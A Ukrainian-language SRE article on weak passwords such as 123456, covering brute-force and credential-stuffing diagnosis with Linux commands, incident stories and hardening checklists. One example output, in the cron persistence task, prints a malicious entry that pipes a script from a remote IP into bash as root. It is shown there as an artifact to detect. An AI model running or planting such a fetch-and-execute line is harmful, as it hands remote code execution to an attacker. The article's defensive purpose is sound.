123456: Улюблений самосаботаж людства

Чому 123456 продовжує перемагати

Люди не обирають 123456 через злі наміри. Вони обирають його, бо це шлях найменшого опору у світі, де від них вимагають паролі всюди й постійно, з непослідовним UX та невизначеними наслідками. А потім ми дивуємось, коли зловмисники роблять очевидну річ і пробують очевидний пароль.

З точки зору SRE, 123456 — це не просто «проблема безпеки». Це проблема доступності. Як тільки зловмисник входить через слабкий пароль, він не зупиняється на ввічливому читанні даних. Він спалює CPU, насичує диски, б’є по базах даних, спамить вихідну пошту, поки ваша IP-репутація не стає кратером, і спричиняє автоскейлінг цикли, що виглядають як «ріст», поки фінанси не зателефонують.

А з точки зору інженера сховища, скомпрометовані облікові записи люблять перетворювати стійке сховище на дорогий конфетті: шифрування файлів, створення снапшотів у невірному ритмі, видалення бекапів тими самими обліковими даними та заповнення томів сміттям, поки все не стане доступним лише для читання і всі раптом не зацікавляться «політиками зберігання».

Неприємна правда така: 123456 — це не пароль. Це голос за провал. Ваша задача не в тому, щоб присоромити людей за їхні голоси. Ваша задача — проєктувати системи так, щоб цей голос не міг пройти.

Одна цитата, що задає правильний настрій і підтверджується в кожному постмортемі: «Надія — не стратегія.» — Gene Kranz.

Факти й історичний контекст (коротко, конкретно, корисно)

• Повторне використання паролів стало нормою, коли середня людина почала мати десятки облікових записів; людська пам’ять не масштабувалася, тож зловмисники масштабувалися замість неї.
• Дефолтні облікові дані десятиліттями поставлялися на пристроях і апаратах, бо це зменшувало кількість звернень у підтримку і пришвидшувало інсталяцію.
• Credential stuffing став масовим, коли дампи зламу стали великими й придатними для пошуку; зловмисники перестали «вгадувати» й почали «відтворювати».
• Онлайн-брутфорс став дешевшим завдяки ботнетам і хмарній інфраструктурі, що робить розподілені спроби простими в ротації й важкими для блокування.
• Політики блокування іноді відбивалися проти організацій, дозволяючи організувати відмову в обслуговуванні: зловмисник навмисно блокує доступ керівників під час інциденту.
• SMS‑MFA поширилося через простоту, але неодноразово підривалося SIM‑свопінгом і слабкими процесами в телекомах.
• Правила складності паролів часто не покращували ані безпеку, ані зручність; користувачі відповідали патернами, передбачуваними в масштабі.
• Сервісні облікові записи історично уникали уваги, бо вони не скаржаться; просто працюють, поки тихо не стануть вашою найгіршою гігієною облікових даних.
• Секрети в коді у багатьох старих робочих процесах не вважалися «секретами»; конфіг‑файли й репозиторії вважалися внутрішніми й отже безпечними.

Що дозволяє 123456: модель загроз і режими відмов

План дій атакуючого нудний — саме тому він діє

Коли зловмисник пробує 123456, він не намагається бути креативним. Він прагне ефективності. Він націлений на довгий хвіст облікових записів і інтерфейсів, які ви забули, успадкували або про які навіть не знали:

• Адмін‑панелі, відкриті «тимчасово» під час міграції.
• SSH на бастіоні, де хтось створив локального користувача «на хвилинку».
• Панелі баз даних з локальною автентифікацією, бо SSO «в планах».
• Пристрої сховища з веб‑інтерфейсом, захищеним дефолтами.
• CI/CD‑системи, де сервісний токен має адмінські права, бо «йому треба було деплоїти».

Чому слабкі облікові дані — проблема доступності

Після компрометації ті навантаження, що шкодять проду, зазвичай такі:

• Крадіжка ресурсів: майнінг, проксинг, спам. Ви помічаєте це за піками CPU, середніми навантаженнями, витратами на еґрес та загаченими сусідами.
• Доступ до даних: ексфільтрація або скрейпінг даних. Ви бачите незвичні шаблони запитів, довго виконувані експортні операції та «шторм» читань у сховищі.
• Знищення: шифрування, видалення, знищення снапшотів. Ви помічаєте це через ампліфікацію записів, заповнені диски, відсутні бекапи і раптом гучних керівників.

Слабкі паролі — перший доміно. Решта лінії складається з ваших реальних залежностей у продакшні: ідентичності, мережі, логування, бекапів і тих частин вашої схеми зберігання, про які ви згадуєте лише коли вони горять.

Короткий жарт №1: Пароль на кшталт 123456 — це, по суті, килимок для взуття, але такий, що ще й віддає адміністративний доступ.

План швидкої діагностики: знайти вузьке місце за хвилини

Коли спрацьовує сигнал — зростають відмови входу, облікові записи блокуються, CPU вивалюється, диски шаленіють — ваша перша задача з’ясувати, чи ви маєте справу з (a) підбором паролів, (b) credential stuffing із валідними логінами, чи (c) активністю після компрометації. Ось послідовність, що економить час.

Перше: це тиск на автентифікацію чи шкода після входу?

1. Перевірте рівень невдалих входів на краю (reverse proxy, WAF, SSH). Якщо невдачі різко зростають, ймовірно, ви бачите підбір або stuffing.
2. Перевірте аномалії в успішних входах (нові IP, нові гео, дивні user agent‑и, входи у незвичний час). Якщо успіхи зростають або шаблони змінюються — припускайте компрометацію.
3. Перевірте сигнали насичення системи: CPU, пам’ять, load, диск‑I/O і мережевий еґрес. Якщо ресурси вичавлені — можливо, ви вже виконуєте робочі навантаження атакуючого.

Друге: ідентифікуйте вузьке місце (CPU? диск? мережа? блокування?)

1. CPU завантажений з високим системним часом: криптонавантеження, компресія, TLS‑шторм або накладні витрати ядра.
2. Диск завантажений з високим await: ампліфікація логування, хвилі записів у базі, процеси шифрування або заповнені файлові системи.
3. Еґрес мережі завантажений: ексфільтрація, спам, проксинг або C2 ботнету.
4. Бекенд автентифікації завантажений: LDAP/AD/IdP страждають, спричиняючи каскадні повторні спроби та таймаути.

Третє: застосуйте ізоляцію, що не зламає світ

1. Обмежте та блокуйте на краю (тимчасово, прицільно). Не створюйте собі DDoS через загальні правила.
2. Вимкніть або відсічіть інтерфейси високого ризику (адмін‑портали, легасі‑автентифікаційні кінці).
3. Примусово скиньте/відкличте токени для постраждалих ідентичностей, починаючи з привілейованих і сервісних облікових записів.
4. Збережіть докази: ротутуйте облікові дані, але збережіть логи та знімок скомпрометованих хостів, якщо це безпечно.

Практичні завдання (команди, виводи, рішення)

Це реальні команди, які ви можете виконати на Linux‑флоті, проксі або вузлі в зоні ураження. Кожне завдання містить команду, приклад виводу, що це означає, і яке рішення прийняти.

1) Виявити хвилю брутфорсу проти SSH

cr0x@server:~$ sudo journalctl -u ssh --since "30 min ago" | grep -E "Failed password|Invalid user" | tail -n 8
Jan 22 11:41:02 server sshd[23144]: Failed password for invalid user admin from 203.0.113.77 port 52110 ssh2
Jan 22 11:41:05 server sshd[23144]: Failed password for invalid user admin from 203.0.113.77 port 52110 ssh2
Jan 22 11:41:09 server sshd[23149]: Failed password for root from 198.51.100.24 port 44891 ssh2
Jan 22 11:41:13 server sshd[23152]: Invalid user test from 203.0.113.77 port 52112
Jan 22 11:41:16 server sshd[23152]: Failed password for invalid user test from 203.0.113.77 port 52112 ssh2
Jan 22 11:41:20 server sshd[23158]: Failed password for ubuntu from 198.51.100.24 port 44902 ssh2
Jan 22 11:41:24 server sshd[23158]: Failed password for ubuntu from 198.51.100.24 port 44902 ssh2
Jan 22 11:41:29 server sshd[23163]: Failed password for invalid user oracle from 192.0.2.10 port 60123 ssh2

Значення: Кілька IP, типові імена користувачів, швидкі невдачі. Це автоматизований підбір.

Рішення: Якщо ви ще дозволяєте парольну автентифікацію в SSH — вимкніть. Перейдіть на ключі, обмежуйте частоту та блокуйте зловмисні джерела.

2) Порахувати невдачі по IP‑джерелах (швидка триаж)

cr0x@server:~$ sudo journalctl -u ssh --since "30 min ago" | grep "Failed password" | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head
120 203.0.113.77
64 198.51.100.24
18 192.0.2.10

Значення: Топ‑токери. Найгірший IP робить більшість роботи.

Рішення: Блокуйте топ‑джерела на фаєрволі, поки впроваджуєте довготривалі контролі (ключі, MFA, fail2ban, правила WAF).

3) Перевірити, чи дозволена парольна автентифікація SSH

cr0x@server:~$ sudo sshd -T | egrep 'passwordauthentication|permitrootlogin|pubkeyauthentication'
passwordauthentication yes
permitrootlogin prohibit-password
pubkeyauthentication yes

Значення: Паролі дозволені. Це ваш відкритий запрошення до підбору облікових даних.

Рішення: Встановіть PasswordAuthentication no, перезапустіть SSH, переконайтеся, що існує зовнішній доступ, і впевніться в розповсюдженні ключів перед змінами.

4) Застосувати прицільну блокування на фаєрволі (тимчасова ізоляція)

cr0x@server:~$ sudo iptables -I INPUT -s 203.0.113.77 -p tcp --dport 22 -j DROP
cr0x@server:~$ sudo iptables -L INPUT -n --line-numbers | head -n 10
Chain INPUT (policy ACCEPT)
num  target     prot opt source           destination
1    DROP       tcp  --  203.0.113.77     0.0.0.0/0            tcp dpt:22
2    ACCEPT     all  --  0.0.0.0/0        0.0.0.0/0

Значення: Хост буде відкидати SSH‑пакети з того джерела.

Рішення: Використовуйте це для негайного полегшення. Не плутайте це з довгостроковим контролем; зловмисники ротають IP.

5) Підтвердити, чи стикаєтесь ви з credential stuffing на веб‑логіні

cr0x@server:~$ sudo awk '$9 ~ /401|403/ {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head
980 203.0.113.88
744 198.51.100.61
233 192.0.2.44

Значення: Великий обсяг помилок автентифікації з кількох IP. Ймовірно автоматизація.

Рішення: Обмежте швидкість для ендпоінтів логіну, увімкніть захист від ботів і перевірте, чи є успішні входи з тих самих джерел.

6) Знайти підозрілі успішні входи (той самий ендпоінт, інша відповідь)

cr0x@server:~$ sudo awk '$7 ~ /\/login/ && $9 ~ /200|302/ {print $1, $4, $7, $9, $12}' /var/log/nginx/access.log | tail -n 5
198.51.100.61 [22/Jan/2026:11:32:09 +0000] /login 302 "Mozilla/5.0"
203.0.113.88 [22/Jan/2026:11:32:14 +0000] /login 302 "python-requests/2.31.0"
192.0.2.44 [22/Jan/2026:11:32:19 +0000] /login 302 "Mozilla/5.0"
198.51.100.61 [22/Jan/2026:11:32:21 +0000] /login 302 "Mozilla/5.0"
203.0.113.88 [22/Jan/2026:11:32:25 +0000] /login 302 "python-requests/2.31.0"

Значення: В успіхах змішані невдачі, в тому числі скриптований клієнт. Це червоний прапор.

Рішення: Ставтеся до цього як до потенційного захоплення облікового запису. Почніть скасування сесій і термінове розслідування постраждалих акаунтів.

7) Перевірити нових локальних користувачів (персистентність після компрометації)

cr0x@server:~$ sudo awk -F: '$3 >= 1000 {print $1 ":" $3 ":" $7}' /etc/passwd
ubuntu:1000:/bin/bash
deploy:1001:/bin/bash
backup:1002:/usr/sbin/nologin

Значення: Локальні акаунти існують поза системними користувачами. Питання: чи вони очікувані?

Рішення: Якщо з’явився несподіваний інтерактивний користувач — припускайте компрометацію. Вимкніть його, ротутуйте ключі/токени і дослідіть логи автентифікації на час створення.

8) Виявити піки вихідного трафіку (викрадення даних або спам)

cr0x@server:~$ sudo ss -tnp state established '( sport = :443 or sport = :80 )' | head
ESTAB 0 0 10.0.1.12:443 198.51.100.200:51844 users:(("nginx",pid=1203,fd=33))
ESTAB 0 0 10.0.1.12:443 203.0.113.200:49210 users:(("nginx",pid=1203,fd=41))
ESTAB 0 0 10.0.1.12:443 192.0.2.200:37214 users:(("nginx",pid=1203,fd=52))

Значення: Встановлені з’єднання — нормальна річ, але потрібен контекст по обсягу.

Рішення: Якщо бачите тисячі вихідних з’єднань з машини, що не повинна їх ініціювати — починайте контейнмент і перевірку процесів.

9) Знайти топ‑процеси по CPU (класичний слід майнера)

cr0x@server:~$ ps -eo pid,comm,%cpu,%mem --sort=-%cpu | head
 8442 kswapd0  92.1  0.0
 9011 xmrig    88.3  1.2
 1203 nginx    14.2  0.8
  982 mysqld    7.4 12.3

Значення: Процес на кшталт xmrig — типовий майнінг; kswapd0 вказує на тиск пам’яті й трешинг.

Рішення: Карантин хоста, зупинка процесу, збереження доказів за потреби, ротування облікових даних і пошук персистентності (cron, systemd‑юнити, bashrc).

10) Виявити підозрілі cron‑записи (персистентність)

cr0x@server:~$ sudo crontab -l
no crontab for root
cr0x@server:~$ sudo ls -l /etc/cron.d
total 8
-rw-r--r-- 1 root root 201 Jan 21 09:10 logrotate
-rw-r--r-- 1 root root 118 Jan 22 11:29 sys-update
cr0x@server:~$ sudo cat /etc/cron.d/sys-update
*/5 * * * * root curl -fsSL http://192.0.2.55/u.sh | bash

Значення: Cron, що тягне скрипт по HTTP, майже ніколи не є «обслуговуванням». Це персистентність.

Рішення: Видаліть його, блокуйте еґрес до того хоста, пошукайте флет аналогічних підписів і вважайте секрети на цій машині скомпрометованими.

11) Перевірити політику паролів Linux (чи ви дозволяєте сміття?)

cr0x@server:~$ sudo grep -E 'PASS_(MAX|MIN)_DAYS|PASS_MIN_LEN' /etc/login.defs
PASS_MAX_DAYS   99999
PASS_MIN_DAYS   0
PASS_MIN_LEN    6

Значення: Мінімум шість символів і фактично ніколи не експірує — запрошення до слабких паролів і вічного ризику.

Рішення: Перейдіть до жорсткіших вимог і, що важливіше, MFA та автентифікації на основі ключів для адміністраторів. Саме по собі примусове оновлення паролів — не вирішення; воно може збільшити повторне використання.

12) Підтвердити політику блокування облікових записів у PAM (щоб уникнути само‑DoS)

cr0x@server:~$ sudo grep -R "pam_faillock" -n /etc/pam.d/common-auth
12:auth required pam_faillock.so preauth silent deny=5 unlock_time=900
13:auth [default=die] pam_faillock.so authfail deny=5 unlock_time=900

Значення: Блокування після 5 помилок на 15 хвилин. Це може зупинити підбір, але може також бути використане як зброя.

Рішення: Для високовартісних акаунтів обирайте MFA + ліміти + виявлення аномалій. Залишайте блокування, але вузько його скопуйте і захищайте критичних користувачів від цілеспрямованого блокування.

13) Виявити слабкі паролі в AD безпечним способом (без plain‑text і без вгадувань у проді)

cr0x@server:~$ sudo samba-tool domain passwordsettings show
Minimum password length: 12
Password complexity: on
Password history length: 24
Maximum password age (days): 0

Значення: Політика на папері добра: 12 символів, складність увімкнена, без примусового обертання.

Рішення: Політика сама по собі не зупинить 123456, якщо у вас є легасі‑виключення, локальні додатки або зовнішня автентифікація. Використовуйте списки заборонених паролів і перевіряйте слабкі паролі дозволеним інструментарієм.

14) Підтвердити, чи ваш додаток ще підтримує локальний адмін‑логін

cr0x@server:~$ grep -R "local_auth" -n /etc/myapp/config.yml
41:local_auth: true

Значення: Локальна автентифікація увімкнена; SSO може існувати, але не застосовується примусово.

Рішення: Вимкніть локальну автентифікацію або обмежте її для break‑glass акаунтів, що зберігаються у сховищі з MFA і моніторингом.

15) Перевірити витоки секретів у файлах оточення (сервісні креденшіали люблять ховатись тут)

cr0x@server:~$ sudo grep -R "PASSWORD=" -n /etc/systemd/system | head
/etc/systemd/system/api.service.d/override.conf:3:Environment="DB_PASSWORD=123456"
/etc/systemd/system/worker.service.d/override.conf:4:Environment="REDIS_PASSWORD=redispass"

Значення: У вас є плейн‑текст секретів у конфігах сервісів, включно з буквальним 123456. Це не рідкість. Це дорого обходиться.

Рішення: Перенесіть секрети в належний секрет‑стор, ротутуйте їх і обмежте права читання на unit‑файли. Аудитуйте поширення.

16) Перевірити, чи бекапи незмінні або принаймні відокремлені (перевірка здорового глузду інженера сховища)

cr0x@server:~$ zfs list -t snapshot -o name,creation | tail -n 5
tank/backups@2026-01-21_0200  Thu Jan 21 02:00 2026
tank/backups@2026-01-21_0400  Thu Jan 21 04:00 2026
tank/backups@2026-01-21_0600  Thu Jan 21 06:00 2026
tank/backups@2026-01-21_0800  Thu Jan 21 08:00 2026
tank/backups@2026-01-21_1000  Thu Jan 21 10:00 2026

Значення: Снапшоти існують. Це необхідно, але недостатньо.

Рішення: Якщо ті самі креденшіали, що можуть видалити прод, можуть видалити снапшоти — у вас не план відновлення, у вас план‑надія. Розділіть обов’язки і захистіть бекапи.

Короткий жарт №2: Якщо ваш план реагування розрахований на «ніхто не спробує 123456», ви створили музейний експонат, а не програму безпеки.

Три корпоративні міні‑історії з передової

Міні‑історія 1: Інцидент через хибне припущення

Середня SaaS‑компанія мала клієнтську адмін‑панель за CDN та сучасним reverse proxy. Інженери вважали, що ендпоінт логіну «достатньо безпечний», бо проксі мав якісь загальні бот‑правила, і бо в додатку була політика блокування: п’ять невдач, потім 10‑хвилинний cooldown.

Потім черга підтримки вибухнула. Клієнти не могли увійти. Ops‑дашборд показував чисте здоров’я: CPU нормальний, пам’ять нормальна, рівні помилок трохи підвищені, але не драматично. Здавалося, UX‑проблема. Це не була UX‑проблема.

Атакувальники не прагнули зламати акаунти. Вони намагалися заблокувати доступ навмисно, викликаючи lockout у цінних адміністраторів клієнтів. Це був credential stuffing з поворотом: навіть без валідних даних сам lockout був payload‑ом. Припущення команди — «lockout нас захищає» — виявилося моделлю загрози, яку хотів зловмисник.

Утримання було незручним: вони тимчасово вимкнули блокування для клієнтських адміністраторів, перейшли на rate limits і репутацію IP на межі, і додали адаптивний крок‑challenge для підозрілих спроб входу. Біль клієнтів зменшився одразу.

Довгострокове виправлення було простішим: вимагати MFA для ролей адміністраторів, додати виявлення аномалій для шаблонів блокування і змінити поведінку блокування так, щоб гальмувати атакуючих, але не блокувати легітимних користувачів (прогресивні затримки замість жорстких блокувань).

Міні‑історія 2: Оптимізація, що зіграла навиворіт

Фінтех‑компанія мала строгі налаштування хешування паролів — сильний алгоритм, великий cost factor. Добре. Потім стався інцидент продуктивності: латентність логінів зросла в пікові години. Швидке рішення подали як «оптимізацію»: знизити cost хешу, щоб автентифікація не була CPU‑вузьким місцем.

Це спрацювало. Латентність покращилася. Графіки заспокоїлися. Всі потішилися, що діяли прагматично під тиском — саме так зазвичай дізнаєшся урок.

За кілька тижнів організація помітила сплеск takeover‑ів акаунтів, переважно де були повторно використані паролі. Зловмисники не ламали хеші офлайн; вони робили stuffing онлайн. Але знижений cost зменшив CPU‑штраф за кожну спробу входу, роблячи сервіс більш «відповідним» і для атакуючих. Ліміти були слабкі. Правила WAF — загальні. Оптимізація збільшила ефективну пропускну здатність каналу атакуючого.

Ремедіація була уроком SRE: не «ослаблюйте» автентифікацію з метою оптимізації. Додавайте потужність, розумні throttle‑и, MFA, кращий менеджмент сесій, і захищайте endpoint логіну як продакшн‑базу даних — бо це саме так.

Вони підняли cost хешування назад, впровадили прогресивні затримки і винесли високоризикові перевірки автентифікації в окремий шар з автоскейлінгом і суворим спостереженням. Також навчилися вимірювати трафік атак як самостійну роботу.

Міні‑історія 3: Нудна, але правильна практика, що врятувала день

Одна медична організація працювала у змішаному середовищі on‑prem і хмарі, включно зі сховищем регульованих даних. Вони не були яскравими. Вони не купували кожен новий продукт безпеки. Вони регулярно робили дві нудні речі: централізоване логування з ретенцією та регулярний аудит облікових даних для привілейованих і сервісних акаунтів.

Одного ранку спрацювали алерти на незвичний вихідний еґрес з прикладного сервера. Первинною підозрою було шкідливе ПО. Але на чергуванні був краще за підозру: чіткий слід логіну. Логи показали успішний адмін‑вхід до легасі‑дашборда з IP‑діапазону, що не з’являвся раніше, після чого створили API‑токен.

Токен створили з сервісного акаунта, який був тимчасово звільнений від MFA місяці тому. Та звільнення мало тикет, і тикет мав власника. Власник був на зв’язку. Таймлайн був коротким, бо докази вже були зібрані, а не розкидані по десяти місцях.

Вони відкликали токени, ротутували креденшіали сервісного акаунта і заблокували еґрес. Найважливіше — вони швидко відновили впевненість: бекапи були на окремій системі з окремими креденшіалами, а снапшоти зберігалися з контрольованими правами на видалення.

Інцидент став не масштабним злом, а незначною подією. Не через удачу, а через те, що вони трактували ідентичність як продакшн‑інфраструктуру і робили нудне технічне обслуговування до того, як стало гаряче.

Поширені помилки: симптом → корінь проблеми → виправлення

1) Симптом: «Ми бачимо тисячі невдалих входів, але ніяких компрометацій»

Корінь: Ви припускаєте, що компрометація означає тільки «доступ до даних». Атакувальники також виконують DoS через блокування акаунтів, енумерацію та розвідку.

Виправлення: Відстежуйте невдалі входи як питання SLO доступності. Додавайте rate limits, прогресивні затримки і виявлення ботів. Захищайте endpoint входу як продакшн API.

2) Симптом: «Ми ввели MFA, але зловмисники все одно проходять»

Корінь: MFA не було примусово застосовано до всіх привілейованих шляхів (легасі локальні адміни, API‑токени, сервісні акаунти, break‑glass). Або використовували слабкі фактори без компенсуючих контролів.

Виправлення: Інвентаризуйте кожен шлях автентифікації: UI, API, SSH, консолі баз даних, адмін‑дашборди. Примусово застосуйте MFA і умовний доступ послідовно. Видаліть легасі‑шляхи або закрийте їх за сильнішими контролями.

3) Симптом: «Користувачі продовжують обирати слабкі паролі, незважаючи на політику»

Корінь: Правила складності навчили користувачів створювати передбачувані патерни; ви не впровадили списки заборонених паролів або менеджер паролів.

Виправлення: Використовуйте список заборонених паролів і вимагавайте довші фрази. Забезпечте менеджер паролів і зробіть його за замовчуванням, а не порадою.

4) Симптом: «Один скомпрометований акаунт знищив бекапи також»

Корінь: Права видалення бекапів поділені з правами продакшн‑адміна; немає незмінності або розділення обов’язків.

Виправлення: Розділіть креденшіали й ролі. Використовуйте незмінні бекапи або принаймні write‑once політику та виділені ідентичності для бекапів. Агресивно моніторте події видалення снапшотів.

5) Симптом: «Ми блокували IP, але атака продовжується»

Корінь: Ви боретесь із розподіленою системою статичним списком. Зловмисники ротають IP через ботнети і хмарні діапазони.

Виправлення: Використовуйте rate limiting, поведінкове виявлення і контроли, що залежать від ідентичності (MFA, прив’язка токенів, перевірка стану пристрою), а не лише IP‑блокування.

6) Симптом: «Ми не можемо відключити парольну автентифікацію в SSH, бо автоматика зламається»

Корінь: Автоматизація використовує спільні паролі або ad‑hoc локальних користувачів, а не ключі або короткоживучі креденшіали.

Виправлення: Переведіть автоматизацію на SSH‑ключі (або краще: короткоживучі сертифікати). Ротутуйте й скопуйте права. Трактуйте ідентичності автоматизації як високопривілейовані сервісні акаунти.

7) Симптом: «Латентність логіну стрибає під час трафіку атаки»

Корінь: Автентифікація зв’язана з CPU (вартість хешування, TLS‑термінація), або бекенд автентифікації насичений (LDAP/IdP таймаути). Повторні спроби ампліфікують навантаження.

Виправлення: Ізолюйте шар автентифікації, дозволяйте автоскейлінг, кешуйте відповідально, додайте circuit breakers і throttle‑те спроби входу раніше (на краю), щоб не навантажувати бекенд.

8) Симптом: «Ми ротутували паролі, але підозріла активність триває»

Корінь: Токени/сесії не були відкликані; у атакуючого є персистентність (cron/systemd), або інші креденшіали також скомпрометовані.

Виправлення: Інвалідируйте сесії, відкличте токени, ротутуйте всі секрети у зоні ураження, шукайте персистентність і перевіряйте логи, що старі токени більше не працюють.

Чеклісти / покроковий план

Покроково: усунути відмови класу 123456, не заливаючи океан

1. Перелічіть поверхні автентифікації. Зробіть список кожного шляху входу: веб‑додатки, адмін‑панелі, SSH, VPN, бази даних, UI сховища, CI/CD, інструменти моніторингу.
2. Убийте дефолтні креденшіали. Для всього, що постачається з дефолтами, змінюйте їх під час провізії. Без винятків.
3. Спочатку застосуйте MFA для привілейованих ролей. Адміни, оператори, підтримники CI/CD, адміністратори сховища та будь‑які акаунти, що можуть видаляти бекапи.
4. Вимкніть парольну автентифікацію там, де можливо. SSH має бути на ключах; внутрішні адмін‑панелі — за SSO з умовним доступом.
5. Впровадьте політику заборонених паролів. Явно відкидайте відомі слабкі рядки та послідовності, включно з 123456 і «друзями».
6. Виправте сервісні акаунти. Ніяких спільних паролів. Перевага — короткоживучі токени. Обмежуйте права. Ротутуйте згідно реального графіка.
7. Додайте rate limiting і прогресивні затримки. На краю, перед дорогими бекенд‑операціями. Трактуйте автентифікацію як «гарячий» шлях.
8. Централізуйте логи і зберігайте їх. Логи автентифікації, дії адміністраторів, створення/відкликання токенів, видалення снапшотів і зміни прав.
9. Відокремте авторитет бекапів. Бекапи мають пережити компрометацію продакшн‑адміністративних креденшіалів.
10. Проводьте tabletop‑вправи. Тренуйте сценарії «credential stuffing + часткова компрометація» і вимірюйте час до ізоляції та відновлення.

Оперативний чекліст під час активної атаки

• Підтвердьте, чи серед невдач є успіхи (stuffing vs guessing).
• Блокуйте/обмежуйте на краю; не навантажуйте IdP/LDAP повторними запитами.
• Ідентифікуйте цільові акаунти (спочатку привілейовані). Примусові скидання і відкликання сесій/токенів.
• Перевірте на наявність персистентності на хостах з аномальною поведінкою.
• Збережіть логи та артефакти хосту; не витирайте їх перш ніж задокументувати.
• Перевірте цілісність і ізоляцію бекапів до того, як вони знадобляться.

Поширені питання

Чому 123456 досі такий поширений?

Бо фрикція реальна, а наслідки відкладені. Люди оптимізують для «працює зараз», особливо під тиском часу. Системи мають зробити безпечний шлях найпростішим.

Чи достатньо заборонити 123456?

Ні. Заборона відомих слабких паролів — базова умова. Справжня перемога полягає в MFA, усуненні парольної автентифікації де можливо і обмеженні зони ураження через принцип найменших прав і scoped токени.

Чи допомагає складність паролів?

Іноді, але часто вона навчає передбачуваних патернів. Краще довгі пасфрази, списки заборонених паролів і менеджери паролів. Складність без зручності веде до повторного використання.

Чи варто змушувати оновлювати пароль кожні 90 днів?

Не за замовчуванням. Примусове оновлення може збільшити передбачувані зміни і повторне використання, якщо немає підстав. Ротутуйте при зміні ризику (злам, зміна ролі, підозріла активність) і для сервісних акаунтів за керованим графіком.

У чому різниця між brute force і credential stuffing?

Brute force — це сліпе перебираня паролів. Credential stuffing — це повторне використання відомих пар «юзер/пароль» з попередніх витоків. Stuffing частіше успішний, тому слід моніторити саме успішні входи, а не лише невдачі.

Що робити з сервісними акаунтами, які «не можуть використовувати MFA»?

Це зазвичай означає «ми зробили це неправильно». Використовуйте короткоживучі токени, workload identity, SSH‑сертифікати або строго scoped API‑ключі у секрет‑менеджері. Якщо статичний секрет неминучий — ротутуйте його і жорстко обмежуйте права.

Як уникнути блокування легітимних користувачів під час атаки?

Використовуйте прогресивні затримки, репутацію пристрою/IP і виклики‑challenge замість жорстких блокувань. Жорсткі блокування легко використовувати як зброю, особливо проти VIP‑акаунтів.

Які логи найбільш важливі при розслідуванні захоплення акаунту?

Події автентифікації (успіх/невдача), створення та відкликання токенів/сесій, зміни привілеїв/ролей, скидання паролів і чутливі дії адміністраторів (експорт, видалення, знищення снапшотів). Тримайте часові мітки узгодженими і доступними для пошуку.

Як це стосується сховища та бекапів конкретно?

Скомпрометовані креденшіали часто використовують для видалення снапшотів, шифрування файлових шарів і знищення точок відновлення. Стійкість сховища — це проблема ідентичності: роздільні креденшіали, незмінні ретенції і контрольовані права на видалення.

Чи вистачає MFA, щоб все зупинити?

Ні. Воно суттєво знижує ризик, але зловмисники переходять на сесійне захоплення, крадіжку токенів, соціальну інженерію та експлуатацію легасі‑шляхів автентифікації. MFA — фундамент, але не фінальна мета.

Наступні кроки, що дійсно зменшують ризик

Почніть з місць, де 123456 болить найсильніше: привілейовані акаунти, відкриті адмін‑інтерфейси, SSH і все, що може видалити бекапи. Виконайте непривабливу роботу: інвентаризуйте поверхні автентифікації, послідовно запровадьте MFA, вимкніть парольну автентифікацію там, де можете, і додайте rate limiting, що захищає ваш бекенд від виконання дорогих операцій на вимогу атакуючого.

Потім зробіть відновлення реальним. Відокремте авторитет бекапів, тестуйте відновлення і моніторьте події, що мають значення: створення токенів, зміни ролей, видалення снапшотів і успішні входи з нових контекстів. Якщо ви не можете відповісти на питання «хто увійшов, звідки і що робив» протягом кількох хвилин — ваше логування не є спостереженням, воно — прикраса.

Мета не в тому, щоб навчити людей припинити бути людьми. Мета — запускати системи так, щоб шість цифр не перетворились на шестизначні збитки.